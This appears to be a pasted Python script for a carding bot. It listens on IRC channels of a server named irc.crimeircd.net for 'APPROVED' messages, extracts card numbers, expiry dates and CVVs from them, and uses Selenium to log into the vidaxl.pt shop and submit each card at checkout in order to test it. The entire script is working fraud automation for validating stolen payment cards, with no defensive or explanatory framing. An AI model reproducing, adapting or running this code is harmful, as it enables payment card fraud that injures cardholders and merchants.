· 8 years ago · Jun 05, 2018, 10:58 PM
1#!/usr/bin/python
2# -*- coding: utf-8 -*-
3
4from selenium import webdriver
5from selenium.webdriver.support.ui import Select
6import sys, re, os, socket, string, time
7import threading
8
9binary = os.getcwd() + "/geckodriver"
10driver = webdriver.Firefox(executable_path=binary)
11
12irc = "irc.crimeircd.net"
13ircPort = 6667
14ircNick = "leet1"
15ircPass = "pass"
16channelList = ["#unix", "#0"]
17tested_cards = []
18
19# vidaxl
20# tens de ter conta para o bot funcionar
21email = "@gmail.com"
22password = "pass"
23
24address = ""
25house_nr = ""
26zip = ""
27city = ""
28phone = ""
29def buy():
30
31 tobuy = ["https://www.vidaxl.pt/e/8718475891536/vidaxl-colchao-com-capa-lavavel-200-x-90-x-17-cm"]
32
33 for link in tobuy:
34 driver.get(link)
35
36 try:
37 element = driver.find_element_by_css_selector("#jqmNewsletterPopup > div:nth-child(4)")
38 element.click()
39 except:
40 pass
41
42 element = driver.find_element_by_css_selector(".product-buy-container")
43 element.click()
44 time.sleep(4)
45
46 # voltar para o carrinho
47 driver.get("https://www.vidaxl.pt/checkout/cart/")
48
49def form():
50
51 driver.get("https://www.vidaxl.pt/customer/account/login/referer/aHR0cHM6Ly93d3cudmlkYXhsLnB0Lw,,/")
52 if u"Iniciar sessão!" in driver.page_source:
53 element = driver.find_element_by_id("loginform_email")
54 element.send_keys("@gmail.com")
55 element = driver.find_element_by_xpath("//form[@id='login-form']/ul/li")
56 element.click()
57 element = driver.find_element_by_id("loginform_password")
58 element.send_keys("pass123")
59 element = driver.find_element_by_id("login-form")
60 element.submit()
61 time.sleep(4)
62 element = driver.find_element_by_id("cart-info")
63 time.sleep(4)
64 element.click()
65
66
67
68
69 time.sleep(3)
70 driver.get("https://www.vidaxl.pt/checkout/cart/")
71 if "Vazio" in driver.page_source:
72 buy()
73
74 driver.find_element_by_link_text("Verifique de forma segura").click()
75 time.sleep(3)
76
77 element = driver.find_element_by_id("shipping:street1")
78 element.clear()
79 element.send_keys(address)
80 element = driver.find_element_by_id("shipping:street2")
81 element.clear()
82 element.send_keys(house_nr)
83 element = driver.find_element_by_id("shipping:postcode")
84 element.clear()
85 element.send_keys(zip)
86 element = driver.find_element_by_id("shipping:city")
87 element.clear()
88 element.send_keys(city)
89 element = driver.find_element_by_id("shipping:telephone")
90 element.clear()
91 element.send_keys(phone)
92 driver.find_element_by_link_text("Próximo Passo").click()
93 time.sleep(4)
94
95
96def payment(ccn, expm, expy, cvv):
97 while True:
98 try:
99 if ccn[0] is "5":
100 element = driver.find_element_by_id("mc-105")
101 element.click()
102
103 if ccn[0] is "4":
104 element = driver.find_element_by_id("visa-104")
105 element.click()
106
107 element = driver.find_element_by_xpath("//div[@id='checkout-step-billing']/div[2]")
108 element.click()
109 time.sleep(4)
110
111 element = driver.find_element_by_xpath("/html/body/div[1]/div[3]/div[1]/div[3]/ol/li[4]/div[2]/div[2]/form/table/tbody/tr[1]/td[1]/label")
112 element.click()
113 element = driver.find_element_by_xpath("/html/body/div[1]/div[3]/div[1]/div[3]/ol/li[4]/div[2]/div[2]/form/table/tbody/tr[2]/td[1]/label")
114 element.click()
115 element = driver.find_element_by_link_text("Pagamento")
116 element.click()
117 time.sleep(4)
118
119 element = driver.find_element_by_id("card.cardNumber")
120 element.send_keys(ccn)
121 element = driver.find_element_by_id("card.cardHolderName")
122 element.clear()
123 element.send_keys("Pedro Silva")
124 element = Select(driver.find_element_by_id("card.expiryMonth"))
125 element.select_by_visible_text(expm)
126 element = Select(driver.find_element_by_id("card.expiryYear"))
127 element.select_by_visible_text("20"+expy)
128 element = driver.find_element_by_id("card.cvcCode")
129 element.send_keys(cvv)
130 element = driver.find_element_by_id("mainSubmit")
131 element.click()
132 time.sleep(3)
133 element = driver.find_element_by_id("mainSubmit")
134 time.sleep(3)
135 element.click()
136
137 time.sleep(10)
138
139 if "quoteid" in str(driver.current_url):
140 element = driver.find_element_by_css_selector(".ok-btn")
141 element.click()
142 return False
143
144 elif not "vidaxl" or "adyen" in str(driver.current_url):
145 print " ### VBV PAGE NOT IN"
146 print str(driver.current_url)
147 form()
148 return False
149
150 except:
151 if not "vidaxl" or not "adyen" in str(driver.current_url):
152 print " ### VBV PAGE: " + str(driver.current_url)
153 form()
154
155 else:
156 print " ### Unknown ERROR"
157 form()
158 return False
159
160
161def testcard(ircmsg):
162 msg = ' '.join(ircmsg[3:])
163 msg = re.sub('[^A-Za-z0-9]+', ' ', msg)
164 msg = re.sub(' +', ' ', msg)
165 msg = re.sub('^(.*)(?=\d{16})', "", msg)
166 msg = msg.split()
167 ccn = str(msg[0])
168 expm = str(msg[1])
169 expy = str(msg[2])
170 cvv = str(msg[3])
171
172 if ccn not in tested_cards:
173 tested_cards.append(str(ccn))
174
175 if ccn[:1] in '45' and len(ccn) is 16 and expy.isdigit() and expm.isdigit():
176 if len(expm) == 4:
177 expm_m = expm[0:2]
178 expy_y = expm[2:4]
179
180 expm = expm_m
181 expy = expy_y
182 cvv = str(msg[2])
183
184 if len(expy) == 4:
185 expy = expy[2:4]
186
187 # make payment
188 print ' ### Testing Card... ' + ccn, expy + expy, cvv
189 payment(ccn, expm, expy, cvv)
190
191 else:
192 print ' ### Invalid or already tested card: ' + ccn, expy + expy, cvv
193
194
195
196form()
197ircs = socket.socket()
198ircs.connect((irc, ircPort))
199ircs.send("USER " + ircNick + " 0 * " + ":" + ircNick + "\r\n")
200ircs.send("NICK " + ircNick + "\r\n")
201
202readbuffer = ''
203
204while True:
205 try:
206
207 readbuffer = readbuffer + ircs.recv(1024)
208 temp = string.split(readbuffer, '\n')
209 temp2 = re.search(r'ei', irc)
210 readbuffer = temp.pop()
211 if temp2:
212 for line in temp:
213 line = string.rstrip(line)
214 line = string.split(line)
215 line2 = ' '.join(line)
216
217 if line:
218 print line2
219
220 if "PING" in line:
221 ircs.send('PONG %s\r\n' % line[1])
222
223 if re.search("End of /MOTD command", line2, re.IGNORECASE):
224 ircs.send("PRIVMSG NICKSERV IDENTIFY " + ircPass + "\r\n")
225 time.sleep(5)
226 for room in channelList:
227 ircs.send("JOIN " + room + "\r\n")
228
229 if re.search("APPROVED", line2):
230 testcard(line)
231
232 except: pass